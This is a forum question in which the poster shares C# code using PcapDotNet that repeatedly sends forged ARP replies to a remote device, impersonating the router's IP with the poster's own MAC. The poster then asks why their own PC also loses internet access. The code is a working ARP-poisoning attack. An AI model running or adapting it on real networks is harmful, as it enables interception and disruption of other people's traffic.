title: ARP poisoning to myself
body: <p>I'm using PcapDotNet to create ARP poison packets with the next code:</p>
  
  <pre><code>using (PacketCommunicator communicator =
              selectedDevice.Open(100, PacketDeviceOpenAttributes.Promiscuous, 1000)) 
          {
              while (true)
              {
                  Packet arp;
  
                  EthernetLayer ethernetLayer = new EthernetLayer
                  {
                      Source = new MacAddress("f8:d1:11:05:8c:91"), // My Mac
                      Destination = new MacAddress("5c:da:d4:29:6d:5f"), // Remote device IP
                      EtherType = EthernetType.None, // Will be filled automatically.
                  };
  
                  ArpLayer arpLayer = new ArpLayer
                  {
                      ProtocolType = EthernetType.IpV4,
                      Operation = ArpOperation.Reply,
                      SenderHardwareAddress = new byte[] { 0xf8, 0xd1, 0x11, 0x05, 0x8c, 0x91 }.AsReadOnly(), // My MAC
                      SenderProtocolAddress = new byte[] { 192, 168, 1, 254 }.AsReadOnly(), // My Router IP
  
                      TargetHardwareAddress = new byte[] { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }.AsReadOnly(),
                      TargetProtocolAddress = new byte[] { 0, 0, 0, 0 }.AsReadOnly(),
                  };
  
                  PacketBuilder builder = new PacketBuilder(ethernetLayer, arpLayer);
  
                  arp = builder.Build(DateTime.Now);
  
                  communicator.SendPacket(arp);
                  System.Threading.Thread.Sleep(500);
              }
          }
  </code></pre>
  
  <p>The problem is: I can poison the remote device, but I lost internet in my PC too (Poisoning to myself?).
  I think maybe the problem is I must to indicate (in some way) that I want my own system do not read my sent packets... but i dont know how....
  Can someone explain me what's is the problem here?</p>